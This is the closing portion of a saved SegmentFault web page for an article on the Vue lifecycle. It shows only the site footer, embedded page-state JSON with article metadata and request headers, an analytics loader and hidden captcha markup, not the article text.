href="https://segmentfault.com/users?utm_source=sf-footer" target="_blank" rel="noreferrer">用户排行榜</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/badges?utm_source=sf-footer" target="_blank" rel="noreferrer">徽章</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/faq?utm_source=sf-footer" target="_blank" rel="noreferrer">帮助中心</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/repu?utm_source=sf-footer" target="_blank" rel="noreferrer">声望与权限</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/community?utm_source=sf-footer" target="_blank" rel="noreferrer">社区服务中心</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/0x?utm_source=sf-footer" target="_blank" rel="noreferrer">建议反馈</a></dd></dl><dl class="col-4 col-md-2"><dt class="h6">合作</dt><dd class="my-1"><a class="text-secondary" href="https://about.segmentfault.com/?utm_source=sf-footer" target="_blank" rel="noreferrer">关于我们</a></dd><dd class="my-1"><a class="text-secondary" href="https://business.segmentfault.com/ads?utm_source=sf-footer" target="_blank" rel="noreferrer">广告投放</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/jobs?utm_source=sf-footer" target="_blank" rel="noreferrer">职位发布</a></dd><dd class="my-1"><a class="text-secondary" href="https://jinshuju.net/f/HK5r9K?utm_source=sf-footer" target="_blank" rel="noreferrer">讲师招募</a></dd><dd class="my-1"><a class="text-secondary" href="mailto:pr@segmentfault.com?utm_source=sf-footer" target="_blank" rel="noreferrer">联系我们</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/link?utm_source=sf-footer" target="_blank" rel="noreferrer">合作伙伴</a></dd></dl><dl class="col-4 col-md-2"><dt class="h6">关注</dt><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/blog/segmentfault?utm_source=sf-footer" target="_blank" rel="noreferrer">产品技术日志</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/blog/community_admin?utm_source=sf-footer" target="_blank" rel="noreferrer">社区运营日志</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/blog/segmentfault_news?utm_source=sf-footer" target="_blank" rel="noreferrer">市场运营日志</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/blog/segmentfault_team?utm_source=sf-footer" target="_blank" rel="noreferrer">团队日志</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/blog/interview?utm_source=sf-footer" target="_blank" rel="noreferrer">社区访谈</a></dd></dl><dl class="col-4 col-md-2" id="license"><dt class="h6">条款</dt><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/tos?utm_source=sf-footer" target="_blank" rel="noreferrer">服务条款</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/privacy?utm_source=sf-footer" target="_blank" rel="noreferrer">隐私政策</a></dd><dd class="my-1"><a class="text-secondary" href="https://segmentfault.com/app?utm_source=sf-footer">下载 App</a></dd><dd class="my-1"><div class="weixin-qrcode ml-n1" title="微信公众号"></div></dd></dl></div><hr class="mt-2 mb-4"><div class="row"><div class="col-md-8"><div class="text-secondary"><p class="mb-1">Copyright © 2011-<!-- -->2021<!-- --> SegmentFault. 当前呈现版本 <!-- -->21.05.27</p><p class="mb-1"><a class="text-secondary mr-2" target="_blank" href="http://beian.miit.gov.cn/" rel="nofollow noreferrer">浙ICP备15005796号-2</a><a class="text-secondary mr-2" target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602002000" rel="nofollow noreferrer">浙公网安备33010602002000号</a><span class="text-secondary">ICP 经营许可 浙B2-20201554</span></p><p class="mb-0">杭州堆栈科技有限公司版权所有</p></div></div><div class="col-md-4 text-right"><div class="shareContent"><a class="share_weixin" data-share="weixin" href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest#javascript" aria-label="微信"><i class="mr-1 fab fa-weixin"></i></a><a class="share_weibo" data-share="weibo" href="http://weibo.com/segmentfault" target="_blank" rel="noreferrer" aria-label="微博"><i class="fab fa-weibo mr-1"></i></a><a class="share_github" data-share="github" href="https://github.com/SegmentFault" target="_blank" rel="noreferrer" aria-label="github"><i class="mr-1 fab fa-github"></i></a><a class="share_twitter" data-share="twitter" href="https://twitter.com/segment_fault" target="_blank" rel="noreferrer" aria-label="twitter"><i class="mr-1 fab fa-twitter"></i></a></div></div></div></div></footer></div>
	<script>
  window.g_useSSR = true;
  window.g_initialProps = {"router":{"location":{"pathname":"\u002Fa\u002F1190000020173042","search":"?utm_source=tag-newest","hash":"","query":{"utm_source":"tag-newest"},"state":undefined,"key":"mm7w9s"},"action":"POP"},"@@dva":0,"action":{"1190000020173042":{"votes":28,"isLiked":false,"isHated":undefined,"bookmarks":20,"bookmarkState":false}},"article":{"articles":{"rows":[],"size":0,"offset":0,"hasMore":true,"error":false,"loading":false,"isStopLoad":false,"cutLoadNum":1,"isLoadedFirstRecommend":false,"query":""},"currentTab":""},"articleDetail":{"artDetail":{"1190000020173042":{"title":"javascript - Vue 生命周期详解_个人文章","keywords":"javascript,vue.js","description":"最开始，用户使用 new Vue() 创建根 Vue 实例，或者 Vue 实例化子组件都会调用_init方法（我们将这两种实例都称为vm）：","article":{"id":1190000020173042,"title":"Vue 生命周期详解","cover":null,"tags_list":"1040000000089436,1040000004003243","user_id":1030000018308169,"blog_id":0,"excerpt":"最开始，用户使用 new Vue() 创建根 Vue 实例，或者 Vue 实例化子组件都会调用_init方法（我们将这两种实例都称为vm）：","parsed_text":"","is_bookmarked":false,"is_liked":false,"created":1566628393,"modified":1567994248,"real_views":16028,"real_unique_views":14970,"votes":28,"bookmarks":20,"status":0,"origin_url":"","article_type":1,"license":"0","langs":[],"comments":1,"tags":[{"id":1040000000089436,"url":"\u002Ft\u002Fjavascript","name":"javascript","icon_url":""},{"id":1040000004003243,"url":"\u002Ft\u002Fvue.js","name":"vue.js","icon_url":""}],"user":{"id":1030000018308169,"name":"宗介","avatar_url":"https:\u002F\u002Favatar-static.segmentfault.com\u002F110\u002F971\u002F1109718111-5c8bc6eb009f2_huge128","url":"\u002Fu\u002Fzongjie","rank":147,"rankWord":"147","is_followed":false,"excerpt":null,"followers":6,"articles":8,"user_auth":null},"status_key":"available"},"blog":null,"actions":[],"member_actions":[],"article_types":{"1":"原创","2":"转载","3":"翻译"},"pay_info":null,"extra":{"reason":null,"operator":null,"operator_time":null},"tag":{"name":"javascript","url":"\u002Ft\u002Fjavascript","icon_url":""},"isServerLoaded":true}},"alertMsg":{"showAlert":false,"msg":""},"articleRelated":[]},"editor":{"markdownContent":"","syncMarkdown":false,"title":{"value":"","isInvalid":false,"errorMsg":""},"log":{"value":"","isInvalid":false,"errorMsg":""},"draftInfo":{"id":"","status":""},"isInsert":false,"isFull":false,"initTags":[]},"global":{"sessionUser":null,"isHiddenHeader":false,"isHiddenFooter":false,"title":"Vue 生命周期详解 - SegmentFault 思否","selectedTags":[],"isShowLogin":false,"beginnerGuideState":{"visible":false,"type":1},"isShowBindMobile":false,"authChannel":"","unactivated":false,"isShowRegister":false,"headOptions":{"keywords":"javascript,vue.js","description":"最开始，用户使用 new Vue() 创建根 Vue 实例，或者 Vue 实例化子组件都会调用_init方法（我们将这两种实例都称为vm）："},"notices":[],"sessionInfo":{"key":"7eb76dfb98859623602e6157164fcea7","login":false,"id":null},"singleNotice":"","currentRoute":{"customLayout":false,"eggCtx":{"request":{"method":"GET","url":"\u002Fa\u002F1190000020173042?utm_source=tag-newest","header":{"host":"segmentfault.com","x-https-cn":"yes","x-ddos":"yes","connection":"close","user-agent":"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F76.0.3809.87 Safari\u002F537.36","x-true-ip":"112.5.195.108","x-real-ip":"112.5.195.108","web-server-type":"nginx","wl-proxy-client-ip":"112.5.195.108","x-forwarded-for":"112.5.195.108","x-forwarded-proto":"https","x-forwarded-cluster":"waf,","eagleeye-traceid":"65c86a0a16222681828008884e685b","upgrade-insecure-requests":"1","sec-fetch-mode":"navigate","accept":"text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,image\u002Fwebp,image\u002Fapng,*\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3","sec-fetch-site":"cross-site","referer":"https:\u002F\u002Fwww.baidu.com\u002Flink?url=Nvt3EUmoHcE0W8M9gBgZKKXwzMs9Umxbdrbr7PL5UxJHkPRN19xI8c7pYuHz96_LMo7UhCm4aUamgKFn13LrYvx6igBArdP8h2KjGywQs9_&wd=&eqid=ac92b0430002a9bf0000000560b1d8ee","accept-encoding":"gzip, deflate, br","accept-language":"zh-CN,zh;q=0.9,en;q=0.8","eagleeye-rpcid":"0.1"}},"response":{"status":404,"message":"Not Found","header":{"set-cookie":["csrfToken=GyWzLg4G-VRr27sL0G5GSQrK; path=\u002F","PHPSESSID=7eb76dfb98859623602e6157164fcea7; path=\u002F; max-age=604800; expires=Sat, 05 Jun 2021 06:03:02 GMT; domain=.segmentfault.com"]}},"app":{"env":"prod","name":"server","baseDir":"\u002Fusr\u002Fsrc\u002Fapp","subdomainOffset":2,"config":"\u003Cegg config\u003E","controller":"\u003Cegg controller\u003E","httpclient":"\u003Cegg httpclient\u003E","loggers":"\u003Cegg loggers\u003E","middlewares":"\u003Cegg middlewares\u003E","router":"\u003Cegg router\u003E","serviceClasses":"\u003Cegg serviceClasses\u003E"},"originalUrl":"\u002Fa\u002F1190000020173042?utm_source=tag-newest","req":"\u003Coriginal node req\u003E","res":"\u003Coriginal node res\u003E","socket":"\u003Coriginal node socket\u003E"}},"letterNum":0,"noticeNum":0,"serverData":{"userAgent":"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F76.0.3809.87 Safari\u002F537.36","Token":undefined},"userStat":{},"newTask":{},"followedTags":[],"globalCss":"","baiduOxAppState":{"isShow":false,"copyUrl":""},"pageUsers":{},"wxShareCover":"","isBaiduOxApp":false},"video":{"videoData":{},"relationVideos":[],"videos":{"rows":[],"limit":0,"offset":0,"hasMore":true},"lives":[]},"blogs":{"channels":{},"articles":{"mode":"scrollLoad","page":1,"rows":[],"size":0,"offset":0,"hasMore":true,"error":false,"loading":false,"isStopLoad":false,"cutLoadNum":1,"isLoadedFirstRecommend":false},"currentTab":"recommendation","notices":{},"events":{},"recommendArticles":{},"hotQuestions":{},"hotTestData":{},"banners":{},"showOneLoading":false},"letterDetail":{"letterData":{"rows":[],"page":1,"size":100,"total_page":0,"hasMore":true},"loading":false,"readAll":false},"inbox":{"list":{"page":1,"count":0,"rows":{"inbox":{},"messages":[]},"total_page":1},"loading":false},"noticeDetail":{"noticeData":{"rows":[],"offset":"","hasMore":true,"isStopScrollLoad":false,"loadedNum":1},"loading":false,"readAll":false},"personal":{"personalInfo":{},"listInfo":{"rows":[]},"blogs":[],"tags":{},"badges":{},"ranks":{},"loading":false},"personalSetting":{"userInfo":{},"errorMsg":{"type":"","msg":""}},"portal":{"pageData":{},"noticeData":[]},"question":{"questionDetail":{},"relateDetail":{}},"questionList":{"questionList":{"page":1,"size":30,"count":0,"total_page":0,"rows":[]},"updateList":{"offset":"","rows":[]},"showLoading":false,"hostData":{},"userRank":{},"notices":{},"loading":false},"sites":{"questionList":{"page":1,"size":30,"count":0,"total_page":0,"rows":[]},"loading":false,"information":{},"articles":[]},"sitesSet":{"loading":false,"information":{}},"loading":{"global":false,"models":{"articleDetail":false},"effects":{"articleDetail\u002FgetArtDetail":false}}};
	</script>

    <script src="./Vue 生命周期详解 - SegmentFault 思否_files/gt.js.下载"></script>
    <script>
      (function () {
        var data = window.g_initialProps["gtagData"] || window["gtagData"];
        var script = document.createElement("script");
        script.src = "https://www.googletagmanager.com/gtag/js?id=UA-918487-8";
        script.async = true;
        script.onload = function () {
          window.dataLayer = window.dataLayer || [];
          window.gtag = function () {
            window.dataLayer.push(arguments);
          };
          window.gtag("js", new Date());
          window.gtag("config", "UA-918487-8");
          data && window.gtag("set", data);
        };
        document.getElementsByTagName("head")[0].appendChild(script);
      })();
    </script>
    <script src="./Vue 生命周期详解 - SegmentFault 思否_files/umi.js.下载"></script>
  


  <div class="is-active ImageView p-4" style="display: none;">
      <div class="ImageView-inner" style="overflow: auto;">
          <img src="./Vue 生命周期详解 - SegmentFault 思否_files/bVbwN5I(1)" class="ImageView-img" alt="preview" style="max-width: 100%">
      </div>
  </div><div class="geetest_panel geetest_wind" style="display: none;"><div class="geetest_panel_ghost"></div><div class="geetest_panel_box"><div class="geetest_other_offline geetest_panel_offline"></div><div class="geetest_panel_loading"><div class="geetest_panel_loading_icon"></div><div class="geetest_panel_loading_content">智能验证检测中</div></div><div class="geetest_panel_success"><div class="geetest_panel_success_box"><div class="geetest_panel_success_show"><div class="geetest_panel_success_pie"></div><div class="geetest_panel_success_filter"></div><div class="geetest_panel_success_mask"></div></div><div class="geetest_panel_success_correct"><div class="geetest_panel_success_icon"></div></div></div><div class="geetest_panel_success_title">通过验证</div></div><div class="geetest_panel_error"><div class="geetest_panel_error_icon"></div><div class="geetest_panel_error_title">网络超时</div><div class="geetest_panel_error_content">请点击此处重试</div><div class="geetest_panel_error_code"><div class="geetest_panel_error_code_text"></div></div></div><div class="geetest_panel_footer"><div class="geetest_panel_footer_logo"></div><div class="geetest_panel_footer_copyright">由极验提供技术支持</div></div><div class="geetest_panel_next"></div></div></div><div class="geetest_panel geetest_wind" style="display: none;"><div class="geetest_panel_ghost"></div><div class="geetest_panel_box"><div class="geetest_other_offline geetest_panel_offline"></div><div class="geetest_panel_loading"><div class="geetest_panel_loading_icon"></div><div class="geetest_panel_loading_content">智能验证检测中</div></div><div class="geetest_panel_success"><div class="geetest_panel_success_box"><div class="geetest_panel_success_show"><div class="geetest_panel_success_pie"></div><div class="geetest_panel_success_filter"></div><div class="geetest_panel_success_mask"></div></div><div class="geetest_panel_success_correct"><div class="geetest_panel_success_icon"></div></div></div><div class="geetest_panel_success_title">通过验证</div></div><div class="geetest_panel_error"><div class="geetest_panel_error_icon"></div><div class="geetest_panel_error_title">网络超时</div><div class="geetest_panel_error_content">请点击此处重试</div><div class="geetest_panel_error_code"><div class="geetest_panel_error_code_text"></div></div></div><div class="geetest_panel_footer"><div class="geetest_panel_footer_logo"></div><div class="geetest_panel_footer_copyright">由极验提供技术支持</div></div><div class="geetest_panel_next"></div></div></div><div class="geetest_panel geetest_wind" style="display: none;"><div class="geetest_panel_ghost"></div><div class="geetest_panel_box"><div class="geetest_other_offline geetest_panel_offline"></div><div class="geetest_panel_loading"><div class="geetest_panel_loading_icon"></div><div class="geetest_panel_loading_content">智能验证检测中</div></div><div class="geetest_panel_success"><div class="geetest_panel_success_box"><div class="geetest_panel_success_show"><div class="geetest_panel_success_pie"></div><div class="geetest_panel_success_filter"></div><div class="geetest_panel_success_mask"></div></div><div class="geetest_panel_success_correct"><div class="geetest_panel_success_icon"></div></div></div><div class="geetest_panel_success_title">通过验证</div></div><div class="geetest_panel_error"><div class="geetest_panel_error_icon"></div><div class="geetest_panel_error_title">网络超时</div><div class="geetest_panel_error_content">请点击此处重试</div><div class="geetest_panel_error_code"><div class="geetest_panel_error_code_text"></div></div></div><div class="geetest_panel_footer"><div class="geetest_panel_footer_logo"></div><div class="geetest_panel_footer_copyright">由极验提供技术支持</div></div><div class="geetest_panel_next"></div></div></div><div class="geetest_panel geetest_wind" style="display: none;"><div class="geetest_panel_ghost"></div><div class="geetest_panel_box"><div class="geetest_other_offline geetest_panel_offline"></div><div class="geetest_panel_loading"><div class="geetest_panel_loading_icon"></div><div class="geetest_panel_loading_content">智能验证检测中</div></div><div class="geetest_panel_success"><div class="geetest_panel_success_box"><div class="geetest_panel_success_show"><div class="geetest_panel_success_pie"></div><div class="geetest_panel_success_filter"></div><div class="geetest_panel_success_mask"></div></div><div class="geetest_panel_success_correct"><div class="geetest_panel_success_icon"></div></div></div><div class="geetest_panel_success_title">通过验证</div></div><div class="geetest_panel_error"><div class="geetest_panel_error_icon"></div><div class="geetest_panel_error_title">网络超时</div><div class="geetest_panel_error_content">请点击此处重试</div><div class="geetest_panel_error_code"><div class="geetest_panel_error_code_text"></div></div></div><div class="geetest_panel_footer"><div class="geetest_panel_footer_logo"></div><div class="geetest_panel_footer_copyright">由极验提供技术支持</div></div><div class="geetest_panel_next"></div></div></div></body><iframe id="google_esf" name="google_esf" src="./Vue 生命周期详解 - SegmentFault 思否_files/zrt_lookup.html" style="display: none;"></iframe></html>